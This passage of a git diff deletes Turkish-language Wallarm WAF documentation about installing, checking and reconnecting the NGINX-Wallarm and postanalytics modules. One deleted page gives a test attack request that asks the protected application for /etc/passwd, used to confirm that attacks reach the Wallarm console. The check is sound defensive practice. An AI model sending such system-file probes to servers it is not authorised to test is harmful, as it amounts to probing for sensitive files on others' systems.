              connect() failed` gibi bir kayıt varsa, ayrı postanalytics modülünün adresinin NGINX‑Wallarm modülü yapılandırma dosyalarında doğru belirtildiğinden ve ayrı postanalytics sunucusunun belirtilen adres ve port üzerinden bağlantıyı kabul ettiğinden emin olun. -* NGINX‑Wallarm modülünün bulunduğu sunucuda, aşağıdaki komutu kullanarak işlenen isteklerle ilgili istatistikleri alın ve `tnt_errors` değerinin 0 olduğundan emin olun - - ```bash - curl http://127.0.0.8/wallarm-status - ``` - - [İstatistik servisi tarafından döndürülen tüm parametrelerin açıklaması →][statistics-service-all-parameters] \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-postanalytics-check.md b/include-tr/waf/installation/all-in-one-postanalytics-check.md deleted file mode 100644 index ade28df397..0000000000 --- a/include-tr/waf/installation/all-in-one-postanalytics-check.md +++ /dev/null @@ -1,33 +0,0 @@ -NGINX‑Wallarm ve ayrı postanalytics modüllerinin etkileşimini kontrol etmek için, korunan uygulamanın adresine test saldırısı içeren bir istek gönderebilirsiniz: - -```bash -curl http://localhost/etc/passwd -``` - -NGINX‑Wallarm ve ayrı postanalytics modülleri doğru yapılandırıldıysa, saldırı Wallarm Cloud'a yüklenecek ve Wallarm Console'un **Attacks** bölümünde görüntülenecektir: - -![Arayüzdeki Attacks][img-attacks-in-interface] - -Saldırı Wallarm Cloud'a yüklenmediyse, lütfen servislerin çalışmasında herhangi bir hata olmadığını kontrol edin: - -* postanalytics modülünün günlüklerini analiz edin - - ```bash - sudo cat /opt/wallarm/var/log/wallarm/tarantool-out.log - ``` - - `SystemError binary: failed to bind: Cannot assign requested address` gibi bir kayıt varsa, sunucunun belirtilen adres ve port üzerinden bağlantı kabul ettiğinden emin olun. -* NGINX‑Wallarm modülünün bulunduğu sunucuda, NGINX günlüklerini analiz edin: - - ```bash - sudo cat /var/log/nginx/error.log - ``` - - `[error] wallarm:
              connect() failed` gibi bir kayıt varsa, ayrı postanalytics modülünün adresinin NGINX‑Wallarm modülünün yapılandırma dosyalarında doğru belirtildiğinden ve ayrı postanalytics sunucusunun belirtilen adres ve port üzerinden bağlantı kabul ettiğinden emin olun. -* NGINX‑Wallarm modülünün bulunduğu sunucuda, aşağıdaki komutu kullanarak işlenen isteklerin istatistiklerini alın ve `tnt_errors` değerinin 0 olduğundan emin olun - - ```bash - curl http://127.0.0.8/wallarm-status - ``` - - [İstatistik servisinin döndürdüğü tüm parametrelerin açıklaması →][statistics-service-all-parameters] \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-postanalytics-reconnect-5.0.md b/include-tr/waf/installation/all-in-one-postanalytics-reconnect-5.0.md deleted file mode 100644 index 0daebecaed..0000000000 --- a/include-tr/waf/installation/all-in-one-postanalytics-reconnect-5.0.md +++ /dev/null @@ -1,41 +0,0 @@ -NGINX-Wallarm modülünün bulunduğu makinede, NGINX [yapılandırma dosyasında](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/) postanalytics modülünün sunucu adresini belirtin: - -``` -upstream wallarm_tarantool { - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - - keepalive 2; - } - - # atlandı - -wallarm_tarantool_upstream wallarm_tarantool; -``` - -* `max_conns` değeri, aşırı bağlantı oluşturulmasını önlemek için upstream Tarantool sunucularının her biri için belirtilmelidir. -* `keepalive` değeri, Tarantool sunucularının sayısından düşük olmamalıdır. -* `# wallarm_tarantool_upstream wallarm_tarantool;` satırı varsayılan olarak yorum satırıdır - lütfen `#` işaretini silin. - -Yapılandırma dosyası değiştirildikten sonra, NGINX-Wallarm modülü sunucusunda NGINX/NGINX Plus'ı yeniden başlatın: - -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "Ubuntu" - ```bash - sudo service nginx restart - ``` -=== "CentOS" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux, Rocky Linux veya Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-postanalytics-reconnect.md b/include-tr/waf/installation/all-in-one-postanalytics-reconnect.md deleted file mode 100644 index de98586b9d..0000000000 --- a/include-tr/waf/installation/all-in-one-postanalytics-reconnect.md +++ /dev/null @@ -1,44 +0,0 @@ -NGINX-Wallarm modülünün bulunduğu makinede, NGINX [yapılandırma dosyasında](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/) (genellikle `/etc/nginx/nginx.conf` konumunda), postanalytics modülü sunucu adresini belirtin: - -``` -http { - # atlandı - upstream wallarm_wstore { - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - - keepalive 2; - } - - wallarm_wstore_upstream wallarm_wstore; - - # atlandı -} -``` - -- Aşırı bağlantıların oluşturulmasını önlemek için her bir upstream wstore sunucusu için `max_conns` değeri belirtilmelidir. -- `keepalive` değeri wstore sunucularının sayısından düşük olmamalıdır. -- `# wallarm_wstore_upstream wallarm_wstore;` dizesi varsayılan olarak yorum satırı olarak işaretlidir - lütfen `#` işaretini silin. - -Yapılandırma dosyası değiştirildikten sonra, NGINX-Wallarm modülünün bulunduğu sunucuda NGINX/NGINX Plus'ı yeniden başlatın: - -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "Ubuntu" - ```bash - sudo service nginx restart - ``` -=== "CentOS" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux, Rocky Linux veya Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-postanalytics-remove-old.md b/include-tr/waf/installation/all-in-one-postanalytics-remove-old.md deleted file mode 100644 index 664e29587f..0000000000 --- a/include-tr/waf/installation/all-in-one-postanalytics-remove-old.md +++ /dev/null @@ -1,27 +0,0 @@ -1. Wallarm Console → **Nodes** bölümünde, postanalytics modülü düğümünüzü seçip **Delete**'e tıklayarak eski postanalytics modülünü silin. -1. Eylemi onaylayın. - - postanalytics modülü düğümü Wallarm Cloud'dan silindiğinde, uygulamalarınıza gelen isteklerin filtrelenmesine katılmayı durduracaktır. Silme işlemi geri alınamaz. postanalytics modülü düğümü düğüm listesinden kalıcı olarak silinecektir. - -1. Eski postanalytics modülü içeren makineyi silin veya sadece Wallarm postanalytics modül bileşenlerini kaldırın: - - === "Debian" - ```bash - sudo apt remove wallarm-node-tarantool - ``` - === "Ubuntu" - ```bash - sudo apt remove wallarm-node-tarantool - ``` - === "CentOS veya Amazon Linux 2.0.2021x ve altı" - ```bash - sudo yum remove wallarm-node-tarantool - ``` - === "AlmaLinux, Rocky Linux veya Oracle Linux 8.x" - ```bash - sudo yum remove wallarm-node-tarantool - ``` - === "RHEL 8.x" - ```bash - sudo yum remove wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-postanalytics.md b/include-tr/waf/installation/all-in-one-postanalytics.md deleted file mode 100644 index 560346ee40..0000000000 --- a/include-tr/waf/installation/all-in-one-postanalytics.md +++ /dev/null @@ -1,21 +0,0 @@ -All-in-one yükleyiciyle postanalytics'i ayrı olarak kurmak için şunları kullanın: - -=== "API belirteci" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-6.5.1.x86_64-glibc.sh postanalytics - - # ARM64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-6.5.1.aarch64-glibc.sh postanalytics - ``` - - `WALLARM_LABELS` değişkeni, düğümün ekleneceği grubu ayarlar (Wallarm Console UI içinde düğümlerin mantıksal gruplanması için kullanılır). - -=== "Düğüm belirteci" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo sh wallarm-6.5.1.x86_64-glibc.sh postanalytics - - # ARM64 sürümünü kullanıyorsanız: - sudo sh wallarm-6.5.1.aarch64-glibc.sh postanalytics - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-requirements-latest.md b/include-tr/waf/installation/all-in-one-requirements-latest.md deleted file mode 100644 index bac9ad5e5f..0000000000 --- a/include-tr/waf/installation/all-in-one-requirements-latest.md +++ /dev/null @@ -1,21 +0,0 @@ -* Wallarm Console'da [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için **Administrator** rolüne sahip hesaba erişim. -* Desteklenen işletim sistemleri: - - * Debian 10, 11 ve 12.x - * Ubuntu LTS 18.04, 20.04, 22.04 - * CentOS 7, 8 Stream, 9 Stream - * Alma/Rocky Linux 9 - * Oracle Linux 9.x - * RHEL 8.x - * RHEL 9.x - * Oracle Linux 8.x - * Redox - * SuSe Linux - * Diğerleri (liste sürekli genişlemektedir; işletim sisteminizin listede olup olmadığını kontrol etmek için [Wallarm destek ekibi](mailto:support@wallarm.com) ile iletişime geçin) - -* Hepsi bir arada Wallarm yükleyicisini indirmek için `https://meganode.wallarm.com` adresine erişim. Erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun. -* US Wallarm Cloud ile çalışmak için `https://us1.api.wallarm.com` veya EU Wallarm Cloud ile çalışmak için `https://api.wallarm.com` adresine erişim. Erişim yalnızca proxy sunucusu üzerinden yapılandırılabiliyorsa [talimatları][configure-proxy-balancer-instr] kullanın. -* Saldırı tespit kurallarının güncellemelerini ve [API spesifikasyonlarını][api-spec-enforcement-docs] indirmek ve ayrıca [allowlisted, denylisted, or graylisted][ip-lists-docs] ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP'leri almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" -* Tüm komutları süper kullanıcı olarak çalıştırma (ör. `root`). \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-requirements.md b/include-tr/waf/installation/all-in-one-requirements.md deleted file mode 100644 index bc612f8b03..0000000000 --- a/include-tr/waf/installation/all-in-one-requirements.md +++ /dev/null @@ -1,20 +0,0 @@ -* US Cloud ([US Cloud](https://us1.my.wallarm.com/)) veya EU Cloud ([EU Cloud](https://my.wallarm.com/)) için Wallarm Console'da **Administrator** rolüne sahip hesaba erişim. -* Desteklenen işletim sistemleri: - - * Debian 10, 11 ve 12.x - * Ubuntu LTS 18.04, 20.04, 22.04 - * CentOS 7, 8 Stream, 9 Stream - * Alma/Rocky Linux 9 - * RHEL 8.x - * Oracle Linux 8.x - * Oracle Linux 9.x - * Redox - * SuSe Linux - * Diğerleri (liste sürekli genişlemektedir; işletim sisteminizin listede olup olmadığını kontrol etmek için [Wallarm destek ekibi](mailto:support@wallarm.com) ile iletişime geçin) - -* Hepsi bir arada Wallarm yükleyicisini indirmek için `https://meganode.wallarm.com` adresine erişim. Bu erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun. -* US Wallarm Cloud ile çalışmak için `https://us1.api.wallarm.com` adresine veya EU Wallarm Cloud ile çalışmak için `https://api.wallarm.com` adresine erişim. Erişim yalnızca proxy sunucusu üzerinden yapılandırılabiliyorsa, [talimatları][configure-proxy-balancer-instr] kullanın. -* Saldırı tespit kurallarına yönelik güncellemeleri indirmek ve ayrıca [allowlisted, denylisted, or graylisted][ip-lists-docs] ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP'leri almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" -* Tüm komutları ayrıcalıklı kullanıcı olarak çalıştırma (ör. `root`). \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-token.md b/include-tr/waf/installation/all-in-one-token.md deleted file mode 100644 index 774966840b..0000000000 --- a/include-tr/waf/installation/all-in-one-token.md +++ /dev/null @@ -1,14 +0,0 @@ -Node'u yüklemek için, [uygun türde][wallarm-token-types] bir Wallarm belirtecine ihtiyacınız olacaktır. Belirteci hazırlamak için: - -=== "API belirteci" - - 1. Wallarm Console → **Settings** → **API tokens** bölümünü [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) veya [EU Cloud](https://my.wallarm.com/settings/api-tokens) üzerinde açın. - 1. Kullanım türü `Node deployment/Deployment` olan bir API belirtecini bulun veya oluşturun. - 1. Bu belirteci kopyalayın. - -=== "Düğüm belirteci" - - 1. Wallarm Console → **Nodes** bölümünü [US Cloud](https://us1.my.wallarm.com/nodes) veya [EU Cloud](https://my.wallarm.com/nodes) üzerinde açın. - 1. Aşağıdakilerden birini yapın: - * Wallarm node türünde bir node oluşturun ve oluşturulan belirteci kopyalayın. - * Mevcut node group'u kullanın - node'un menüsünden → **Copy token** ile belirteci kopyalayın. \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one-upgrade-requirements.md b/include-tr/waf/installation/all-in-one-upgrade-requirements.md deleted file mode 100644 index 67544b38cf..0000000000 --- a/include-tr/waf/installation/all-in-one-upgrade-requirements.md +++ /dev/null @@ -1,7 +0,0 @@ -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console'da **Administrator** rolüne sahip hesaba erişim. -* Hepsi bir arada Wallarm yükleyicisini indirmek için `https://meganode.wallarm.com` adresine erişim. Erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun. -* US Wallarm Cloud ile çalışmak için `https://us1.api.wallarm.com` adresine veya EU Wallarm Cloud ile çalışmak için `https://api.wallarm.com` adresine erişim. Erişim yalnızca proxy sunucusu üzerinden yapılandırılabiliyorsa, [talimatları][configure-proxy-balancer-instr] kullanın. -* Tüm komutların bir süper kullanıcı olarak (örn. `root`) çalıştırılması. -* Saldırı tespit kuralları ve API spesifikasyonları güncellemelerini indirmek ve ayrıca izin verilen, engellenen veya gri listede olan ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP'leri almak üzere aşağıdaki IP adreslerine erişim. - - --8<-- "../include/wallarm-cloud-ips.md" \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one/launch-options-4.10.md b/include-tr/waf/installation/all-in-one/launch-options-4.10.md deleted file mode 100644 index 828b3527d1..0000000000 --- a/include-tr/waf/installation/all-in-one/launch-options-4.10.md +++ /dev/null @@ -1,90 +0,0 @@ -Hepsi bir arada betiği indirdikten sonra, aşağıdaki komutla yardım çıktısını alabilirsiniz: - -``` -sudo sh ./wallarm-4.10.13.x86_64-glibc.sh -- -h -``` - -Şu çıktıyı döndürür: - -``` -... -Usage: setup.sh [options]... [arguments]... [filtering/postanalytics] - -OPTION DESCRIPTION --b, --batch Batch mode, non-interactive installation. - --install-only Initiates the first stage of the all-in-one installer in batch mode. Copies essential configurations, including files and binaries, and sets up NGINX for node installation, bypassing Cloud registration and activation. Requires --batch. - --skip-ngx-config Avoids automatic NGINX configuration changes that occur during the --install-only stage in batch mode, suitable for users who prefer manual adjustments later. When used with --install-only, it ensures only essential configurations are copied without altering NGINX settings. Requires --batch. - --register-only Initiates the second stage of the all-in-one installer in batch mode, completing the setup by registering the node in the Cloud and starting its service. Requires --batch. --t, --token TOKEN Node token, required in a batch mode. --c, --cloud CLOUD Wallarm Cloud, one of US/EU, default is EU, only used in a batch mode. --H, --host HOST Wallarm API address, for example, api.wallarm.com or us1.api.wallarm.com, only used in a batch mode. --P, --port PORT Wallarm API pot, for example, 443. - --no-ssl Disable SSL for Wallarm API access. - --no-verify Disable SSL certificates verification. --f, --force If there is a node with the same name, create a new instance. --h, --help - --version -``` - -### Toplu mod - -`--batch` seçeneği, gerekirse `WALLARM_LABELS` ortam değişkeniyle birlikte `--token` ve `--cloud` bayrakları üzerinden yapılandırma seçenekleri gerektiren, betiğin kullanıcıdan varsayılan moddaki gibi adım adım veri girişi istemediği, bunun yerine etkileşim için açık komutlar gerektirdiği, **toplu (etkileşimsiz)** modu tetikler. - -Aşağıda, betiği toplu modda düğüm kurulumu için çalıştırmaya ilişkin komut örnekleri verilmiştir; betiğin zaten [indirildiği][download-aio-step] varsayılmaktadır: - -=== "ABD Bulutu" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.13.x86_64-glibc.sh -- --batch -t -c US - - # ARM64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.13.aarch64-glibc.sh -- --batch -t -c US - ``` -=== "AB Bulutu" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.13.x86_64-glibc.sh -- --batch -t - - # ARM64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.13.aarch64-glibc.sh -- --batch -t - ``` - -### Düğüm kurulum aşamalarının ayrı ayrı çalıştırılması - -Bulut altyapısı için hepsi bir arada yükleyiciyi kullanarak kendi makine imajınızı hazırlarken, bu makalede belirtilen standart kurulum süreci yeterli olmayabilir. Bunun yerine, bir makine imajı oluşturma ve dağıtma gereksinimlerini karşılamak için hepsi bir arada yükleyicinin belirli aşamalarını ayrı ayrı yürütmeniz gerekir: - -1. Makine imajını oluşturun: Bu aşamada, filtreleme düğümünün ikili dosyalarını, kütüphanelerini ve yapılandırma dosyalarını indirmek ve bunlara dayalı bir makine imajı oluşturmak gerekir. `--install-only` bayrağını kullanarak, betik gerekli dosyaları kopyalar ve düğümün çalışması için NGINX yapılandırmalarını değiştirir. Manuel ayarlamalar yapmak isterseniz, `--skip-ngx-config` bayrağını kullanarak NGINX dosyası değişikliğini atlayabilirsiniz. -1. cloud-init ile bir bulut örneğini başlatın: Örnek başlatma sırasında, önyükleme aşaması (Cloud kaydı ve servis başlatma) cloud-init betikleri kullanılarak yürütülebilir. Bu aşama, derleme aşamasından bağımsız olarak, derleme aşamasında kopyalanan `/opt/wallarm/setup.sh` betiğine `--register-only` bayrağı uygulanarak çalıştırılabilir. - -Bu işlevsellik, hepsi bir arada yükleyicinin 4.10.0 sürümünden itibaren toplu modda desteklenmektedir. Aşağıdaki komutlar, belirtilen adımların sıralı yürütülmesini sağlar: - -=== "ABD Bulutu" - ```bash - # x86_64 sürümünü kullanıyorsanız: - curl -O https://meganode.wallarm.com/4.10/wallarm-4.10.13.x86_64-glibc.sh - sudo sh wallarm-4.10.13.x86_64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t -c US - - # ARM64 sürümünü kullanıyorsanız: - curl -O https://meganode.wallarm.com/4.10/wallarm-4.10.13.aarch64-glibc.sh - sudo sh wallarm-4.10.13.aarch64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t -c US - ``` -=== "AB Bulutu" - ``` - # x86_64 sürümünü kullanıyorsanız: - curl -O https://meganode.wallarm.com/4.10/wallarm-4.10.13.x86_64-glibc.sh - sudo sh wallarm-4.10.13.x86_64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t - - # ARM64 sürümünü kullanıyorsanız: - curl -O https://meganode.wallarm.com/4.10/wallarm-4.10.13.aarch64-glibc.sh - sudo sh wallarm-4.10.13.aarch64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t - ``` - -Son olarak, kurulumu tamamlamak için [Wallarm'ın trafiği analiz etmesini etkinleştirmeniz][enable-traffic-analysis-step] ve [NGINX'i yeniden başlatmanız][restart-nginx-step] gerekir. - -### Filtreleme ve postanalytics düğümlerinin ayrı kurulumu - -filtering/postanalytics anahtarı, postanalytics modülünü [ayrı][separate-postanalytics-installation-aio] olarak kurma seçeneği sunar. Bu anahtar olmadığında, varsayılan olarak hem filtreleme hem de postanalytics bileşenleri birlikte kurulur. \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one/launch-options-4.8.md b/include-tr/waf/installation/all-in-one/launch-options-4.8.md deleted file mode 100644 index 9bedd195f4..0000000000 --- a/include-tr/waf/installation/all-in-one/launch-options-4.8.md +++ /dev/null @@ -1,90 +0,0 @@ -Hepsi-bir-arada betiği indirir indirmez, aşağıdaki komutla yardım alabilirsiniz: - -``` -sudo sh ./wallarm-4.8.10.x86_64-glibc.sh -- -h -``` - -Şu çıktıyı verir: - -``` -... -Kullanım: setup.sh [options]... [arguments]... [filtering/postanalytics] - -SEÇENEK AÇIKLAMA --b, --batch Toplu mod, etkileşimsiz kurulum. - --install-only Toplu modda hepsi-bir-arada yükleyicinin ilk aşamasını başlatır. Dosyalar ve ikililer dahil olmak üzere temel yapılandırmaları kopyalar ve Cloud kaydı ile etkinleştirmeyi atlayarak düğüm kurulumu için NGINX'i hazırlar. --batch gerektirir. - --skip-ngx-config Toplu modda --install-only aşaması sırasında gerçekleşen otomatik NGINX yapılandırma değişikliklerini yapmaz; daha sonra manuel ayar yapmayı tercih eden kullanıcılar için uygundur. --install-only ile birlikte kullanıldığında, NGINX ayarlarını değiştirmeden yalnızca temel yapılandırmaların kopyalanmasını sağlar. --batch gerektirir. - --register-only Toplu modda hepsi-bir-arada yükleyicinin ikinci aşamasını başlatır; düğümü Cloud'da kaydedip servisi başlatarak kurulumu tamamlar. --batch gerektirir. --t, --token TOKEN Düğüm jetonu; toplu modda gereklidir. --c, --cloud CLOUD Wallarm Cloud, US/EU'den biri; varsayılan EU, yalnızca toplu modda kullanılır. --H, --host HOST Wallarm API adresi; örneğin, api.wallarm.com veya us1.api.wallarm.com, yalnızca toplu modda kullanılır. --P, --port PORT Wallarm API portu; örneğin 443. - --no-ssl Wallarm API erişimi için SSL'i devre dışı bırakır. - --no-verify SSL sertifikası doğrulamasını devre dışı bırakır. --f, --force Aynı ada sahip bir düğüm varsa yeni bir örnek oluştur. --h, --help - --version -``` - -### Toplu mod - -`--batch` seçeneği, betiğin gerektiğinde `--token` ve `--cloud` bayrakları ile ve gerekiyorsa `WALLARM_LABELS` ortam değişkeni üzerinden yapılandırma seçeneklerini aldığı toplu (etkileşimsiz) modu tetikler. Bu modda betik, varsayılan modda olduğu gibi kullanıcıdan adım adım veri istemez; bunun yerine etkileşim için açık komutlar gerektirir. - -Betiği toplu modda düğüm kurulumu için çalıştırma komutlarına ilişkin örnekler aşağıdadır; betiğin [indirildiği][download-aio-step] varsayılmaktadır: - -=== "US Cloud" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.10.x86_64-glibc.sh -- --batch -t -c US - - # ARM64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.10.aarch64-glibc.sh -- --batch -t -c US - ``` -=== "EU Cloud" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.10.x86_64-glibc.sh -- --batch -t - - # ARM64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.10.aarch64-glibc.sh -- --batch -t - ``` - -### Düğüm kurulum aşamalarının ayrı ayrı yürütülmesi - -Bulut altyapısı için hepsi-bir-arada yükleyiciyi kullanarak kendi makine imajınızı hazırlarken, bu makalede belirtilen standart kurulum süreci yeterli olmayabilir. Bunun yerine, bir makine imajı oluşturma ve dağıtma gereksinimlerini karşılamak için hepsi-bir-arada yükleyicinin belirli aşamalarını ayrı ayrı yürütmeniz gerekir: - -1. Makine imajı oluşturma: Bu aşamada, filtreleme düğümünün ikililerini, kütüphanelerini ve yapılandırma dosyalarını indirip bunlara dayalı bir makine imajı oluşturmak gerekir. `--install-only` bayrağını kullanarak, betik gerekli dosyaları kopyalar ve düğüm çalışması için NGINX yapılandırmalarını değiştirir. Manuel ayar yapmak isterseniz, `--skip-ngx-config` bayrağını kullanarak NGINX dosya değişikliklerini atlayabilirsiniz. -1. Cloud-init ile bir bulut örneğini ilklendirme: Örnek ilklendirme sırasında, önyükleme aşaması (Cloud kaydı ve servis başlatma) cloud-init betikleri ile yürütülebilir. Bu aşama, derleme aşamasında kopyalanan `/opt/wallarm/setup.sh` betiğine `--register-only` bayrağı uygulanarak derleme aşamasından bağımsız olarak çalıştırılabilir. - -Bu işlevsellik, toplu modda hepsi-bir-arada yükleyicinin 4.8.8 sürümünden itibaren desteklenir. Aşağıdaki komutlar belirtilen adımların sıralı yürütülmesini sağlar: - -=== "US Cloud" - ```bash - # x86_64 sürümünü kullanıyorsanız: - curl -O https://meganode.wallarm.com/4.8/wallarm-4.8.10.x86_64-glibc.sh - sudo sh wallarm-4.8.10.x86_64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t -c US - - # ARM64 sürümünü kullanıyorsanız: - curl -O https://meganode.wallarm.com/4.8/wallarm-4.8.10.aarch64-glibc.sh - sudo sh wallarm-4.8.10.aarch64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t -c US - ``` -=== "EU Cloud" - ``` - # x86_64 sürümünü kullanıyorsanız: - curl -O https://meganode.wallarm.com/4.8/wallarm-4.8.10.x86_64-glibc.sh - sudo sh wallarm-4.8.10.x86_64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t - - # ARM64 sürümünü kullanıyorsanız: - curl -O https://meganode.wallarm.com/4.8/wallarm-4.8.10.aarch64-glibc.sh - sudo sh wallarm-4.8.10.aarch64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t - ``` - -Son olarak, kurulumu tamamlamak için [Wallarm'ın trafiği analiz etmesini etkinleştirmeniz][enable-traffic-analysis-step] ve [NGINX'i yeniden başlatmanız][restart-nginx-step] gerekir. - -### Filtreleme ve postanalytics düğümlerinin ayrı kurulumu - -Filtering/postanalytics anahtarı, postanalytics modülünü [ayrı][separate-postanalytics-installation-aio] kurma seçeneği sunar. Bu anahtar olmadan, filtreleme ve postanalytics bileşenleri varsayılan olarak birlikte kurulur. \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one/launch-options-5.0.md b/include-tr/waf/installation/all-in-one/launch-options-5.0.md deleted file mode 100644 index ae35d05b40..0000000000 --- a/include-tr/waf/installation/all-in-one/launch-options-5.0.md +++ /dev/null @@ -1,121 +0,0 @@ -Hepsi bir arada betiği indirdikten sonra, şu komutla yardımını görebilirsiniz: - -``` -sudo sh ./wallarm-5.3.19.x86_64-glibc.sh -- -h -``` - -Şunu döndürür: - -``` -... -Kullanım: setup.sh [seçenekler]... [argümanlar]... [filtering/postanalytics] - -SEÇENEK AÇIKLAMA --b, --batch Toplu mod, etkileşimsiz kurulum. - --install-only Hepsi bir arada kurucunun birinci aşamasını toplu modda başlatır. Dosyalar ve ikililer dahil temel yapılandırmaları kopyalar ve NGINX’i düğüm kurulumu için hazırlar; Cloud kaydı ve etkinleştirmesini atlar. --batch gerektirir. - --skip-ngx-config Toplu modda --install-only aşaması sırasında gerçekleşen otomatik NGINX yapılandırma değişikliklerini atlar; daha sonra elle ayarlama yapmak isteyen kullanıcılar için uygundur. --install-only ile birlikte kullanıldığında yalnızca temel yapılandırmaların NGINX ayarlarını değiştirmeden kopyalanmasını sağlar. --batch gerektirir. - --register-only Hepsi bir arada kurucunun ikinci aşamasını toplu modda başlatır; düğümü Cloud’da kaydedip servisi başlatarak kurulumu tamamlar. --batch gerektirir. --t, --token TOKEN Düğüm belirteci (token); toplu modda zorunludur. --c, --cloud CLOUD Wallarm Cloud, US/EU’den biri; varsayılan EU; yalnızca toplu modda kullanılır. --H, --host HOST Wallarm API adresi; örneğin, api.wallarm.com veya us1.api.wallarm.com; yalnızca toplu modda kullanılır. --P, --port PORT Wallarm API bağlantı noktası (port), örneğin 443. - --no-ssl Wallarm API erişimi için SSL’i devre dışı bırakır. - --no-verify SSL sertifikası doğrulamasını devre dışı bırakır. --f, --force Aynı ada sahip bir düğüm varsa yeni bir örnek oluşturur. --h, --help - --version -``` - -### Toplu mod - -`--batch` seçeneği betiği, gerekli yapılandırma seçeneklerinin `--token` ve `--cloud` bayrakları ve gerekirse `WALLARM_LABELS` ortam değişkeni ile sağlandığı toplu (etkileşimsiz) moda geçirir. Bu modda betik, varsayılan moddaki gibi kullanıcıdan adım adım veri istemek yerine etkileşim için açık komutlar gerektirir. - -Aşağıda, betiği düğüm kurulumu için toplu modda çalıştırmaya yönelik komut örnekleri yer almaktadır; betiğin daha önce [indirildiği][download-aio-step] varsayılmaktadır: - -=== "US Cloud" - ```bash - # x86_64 sürümü kullanılıyorsa: - sudo env WALLARM_LABELS='group=' sh wallarm-5.3.19.x86_64-glibc.sh -- --batch -t -c US - - # ARM64 sürümü kullanılıyorsa: - sudo env WALLARM_LABELS='group=' sh wallarm-5.3.19.aarch64-glibc.sh -- --batch -t -c US - ``` -=== "EU Cloud" - ```bash - # x86_64 sürümü kullanılıyorsa: - sudo env WALLARM_LABELS='group=' sh wallarm-5.3.19.x86_64-glibc.sh -- --batch -t - - # ARM64 sürümü kullanılıyorsa: - sudo env WALLARM_LABELS='group=' sh wallarm-5.3.19.aarch64-glibc.sh -- --batch -t - ``` - -### Düğüm kurulum aşamalarının ayrı ayrı yürütülmesi - -Bulut altyapısı için hepsi bir arada kurucuyu kullanarak kendi makine imajınızı hazırlarken, bu makaledeki standart kurulum süreci yeterli olmayabilir. Bunun yerine, bir makine imajının oluşturulması ve dağıtılmasının gereksinimlerine uyum sağlamak için hepsi bir arada kurucunun belirli aşamalarını ayrı ayrı yürütmeniz gerekir: - -1. Makine imajını oluşturma: Bu aşamada filtreleme düğümünün ikililerini, kütüphanelerini ve yapılandırma dosyalarını indirmek ve bunlara dayanarak bir makine imajı oluşturmak gerekir. 